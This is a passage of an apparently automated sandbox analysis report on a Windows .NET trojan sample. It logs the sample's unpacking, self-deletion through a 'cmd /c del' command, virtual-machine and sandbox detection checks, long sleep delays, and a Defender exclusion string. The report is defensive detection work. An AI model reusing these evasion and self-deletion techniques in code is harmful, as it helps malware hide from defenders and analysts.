            Source: Fu94e0b1TR.exe, 00000006.00000000.272808507.000000000066E000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameObjectMarshal.exe6 vs Fu94e0b1TR.exe
            Source: Fu94e0b1TR.exe, 00000006.00000002.371649875.000000000127F000.00000040.00000001.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Fu94e0b1TR.exe
            Source: Fu94e0b1TR.exe, 00000006.00000002.371455073.0000000001150000.00000040.00020000.sdmpBinary or memory string: OriginalFilenamenetstat.exej% vs Fu94e0b1TR.exe
            Source: Fu94e0b1TR.exeBinary or memory string: OriginalFilenameObjectMarshal.exe6 vs Fu94e0b1TR.exe
            Source: Fu94e0b1TR.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
            Source: Fu94e0b1TR.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
            Source: Fu94e0b1TR.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
            Source: unknownProcess created: C:\Users\user\Desktop\Fu94e0b1TR.exe 'C:\Users\user\Desktop\Fu94e0b1TR.exe'
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess created: C:\Users\user\Desktop\Fu94e0b1TR.exe C:\Users\user\Desktop\Fu94e0b1TR.exe
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess created: C:\Users\user\Desktop\Fu94e0b1TR.exe C:\Users\user\Desktop\Fu94e0b1TR.exe
            Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE
            Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Fu94e0b1TR.exe'
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess created: C:\Users\user\Desktop\Fu94e0b1TR.exe C:\Users\user\Desktop\Fu94e0b1TR.exe
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess created: C:\Users\user\Desktop\Fu94e0b1TR.exe C:\Users\user\Desktop\Fu94e0b1TR.exe
            Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Fu94e0b1TR.exe'
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeFile created: C:\Users\user\AppData\Local\GottschalksJump to behavior
            Source: classification engineClassification label: mal100.troj.evad.winEXE@9/1@6/2
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4308:120:WilError_01
            Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
            Source: Fu94e0b1TR.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
            Source: Fu94e0b1TR.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
            Source: Binary string: netstat.pdbGCTL source: Fu94e0b1TR.exe, 00000006.00000002.371455073.0000000001150000.00000040.00020000.sdmp
            Source: Binary string: netstat.pdb source: Fu94e0b1TR.exe, 00000006.00000002.371455073.0000000001150000.00000040.00020000.sdmp
            Source: Binary string: wntdll.pdbUGP source: Fu94e0b1TR.exe, 00000006.00000002.371484148.0000000001160000.00000040.00000001.sdmp, NETSTAT.EXE, 00000012.00000002.515622767.0000000002D20000.00000040.00000001.sdmp
            Source: Binary string: wntdll.pdb source: Fu94e0b1TR.exe, NETSTAT.EXE

            Data Obfuscation:

            barindex
            .NET source code contains potential unpackerShow sources
            Source: Fu94e0b1TR.exe, MapEditor1/CreateMapDialog.cs.Net Code: Marshaler System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
            Source: 0.0.Fu94e0b1TR.exe.6d0000.0.unpack, MapEditor1/CreateMapDialog.cs.Net Code: Marshaler System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
            Source: 0.2.Fu94e0b1TR.exe.6d0000.0.unpack, MapEditor1/CreateMapDialog.cs.Net Code: Marshaler System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
            Source: 5.0.Fu94e0b1TR.exe.350000.0.unpack, MapEditor1/CreateMapDialog.cs.Net Code: Marshaler System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
            Source: 5.2.Fu94e0b1TR.exe.350000.0.unpack, MapEditor1/CreateMapDialog.cs.Net Code: Marshaler System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
            Source: 6.2.Fu94e0b1TR.exe.610000.1.unpack, MapEditor1/CreateMapDialog.cs.Net Code: Marshaler System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
            Source: 6.0.Fu94e0b1TR.exe.610000.0.unpack, MapEditor1/CreateMapDialog.cs.Net Code: Marshaler System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 0_2_00F5203B push ebx; retf
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 0_2_07131CAA push 8406FDCBh; retf
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 0_2_07133B05 push FFFFFF8Bh; iretd
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041B85C push eax; ret
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00407027 push ebx; ret
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00415115 push es; iretd
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_00414F3A push ds; iretd
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041B7F2 push eax; ret
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041B7FB push eax; ret
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0041B7A5 push eax; ret
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011DD0D1 push ecx; ret
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_02D9D0D1 push ecx; ret
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003C7027 push ebx; ret
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003DB85C push eax; ret
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003D5115 push es; iretd
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003D4F3A push ds; iretd
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003DB7A5 push eax; ret
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003DB7FB push eax; ret
            Source: C:\Windows\SysWOW64\NETSTAT.EXECode function: 18_2_003DB7F2 push eax; ret
            Source: initial sampleStatic PE information: section name: .text entropy: 7.77320879492

            Hooking and other Techniques for Hiding and Protection:

            barindex
            Self deletion via cmd deleteShow sources
            Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess created: /c del 'C:\Users\user\Desktop\Fu94e0b1TR.exe'
            Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess created: /c del 'C:\Users\user\Desktop\Fu94e0b1TR.exe'
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

            Malware Analysis System Evasion:

            barindex
            Yara detected AntiVM3Show sources
            Source: Yara matchFile source: 0.2.Fu94e0b1TR.exe.2b61628.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: Fu94e0b1TR.exe PID: 4628, type: MEMORYSTR
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpBinary or memory string: SBIEDLL.DLL
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpBinary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
            Tries to detect virtualization through RDTSC time measurementsShow sources
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeRDTSC instruction interceptor: First address: 0000000000408604 second address: 000000000040860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeRDTSC instruction interceptor: First address: 000000000040898E second address: 0000000000408994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
            Source: C:\Windows\SysWOW64\NETSTAT.EXERDTSC instruction interceptor: First address: 00000000003C8604 second address: 00000000003C860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
            Source: C:\Windows\SysWOW64\NETSTAT.EXERDTSC instruction interceptor: First address: 00000000003C898E second address: 00000000003C8994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exe TID: 4632Thread sleep time: -35139s >= -30000s
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exe TID: 6040Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\SysWOW64\NETSTAT.EXELast function: Thread delayed
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_004088C0 rdtsc
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeThread delayed: delay time: 922337203685477
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess information queried: ProcessInformation
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeThread delayed: delay time: 35139
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeThread delayed: delay time: 922337203685477
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpBinary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
            Source: explorer.exe, 00000007.00000000.308243918.000000000891C000.00000004.00000001.sdmpBinary or memory string: VMware SATA CD00dRom0
            Source: explorer.exe, 00000007.00000000.294128069.000000000DC20000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Ap88
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpBinary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
            Source: explorer.exe, 00000007.00000000.308243918.000000000891C000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpBinary or memory string: vmware
            Source: explorer.exe, 00000007.00000000.299944517.00000000011B3000.00000004.00000020.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
            Source: explorer.exe, 00000007.00000000.308321174.00000000089B5000.00000004.00000001.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
            Source: explorer.exe, 00000007.00000000.357810922.00000000053C4000.00000004.00000001.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
            Source: explorer.exe, 00000007.00000000.308321174.00000000089B5000.00000004.00000001.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
            Source: Fu94e0b1TR.exe, 00000000.00000002.277178151.0000000002B11000.00000004.00000001.sdmpBinary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_004088C0 rdtsc
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess token adjusted: Debug
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeProcess token adjusted: Debug
            Source: C:\Windows\SysWOW64\NETSTAT.EXEProcess token adjusted: Debug
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01258D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0120A537 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01189100 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01189100 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01189100 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B4D3B mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B4D3B mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B4D3B mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B513A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B513A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118AD30 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01193D34 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A4120 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A4120 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A4120 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A4120 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A4120 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011A7D50 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AB944 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AB944 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011C3D43 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01203540 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118B171 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118B171 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AC577 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AC577 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118C962 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BFD9B mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BFD9B mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012069A6 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B2990 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01182D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01182D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01182D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01182D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01182D8A mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011AC182 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B2581 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B2581 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B2581 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B2581 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011BA185 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012051BE mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012051BE mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012051BE mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012051BE mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B1DB5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B1DB5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B1DB5 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B35A1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B61A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_011B61A0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_012141E8 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01238DF1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206DC9 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206DC9 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206DC9 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206DC9 mov ecx, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206DC9 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01206DC9 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118B1E1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118B1E1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0118B1E1 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119D5E0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0119D5E0 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_01241C06 mov eax, dword ptr fs:[00000030h]
            Source: C:\Users\user\Desktop\Fu94e0b1TR.exeCode function: 6_2_0125740D mov eax, dword ptr fs:[00000030h]
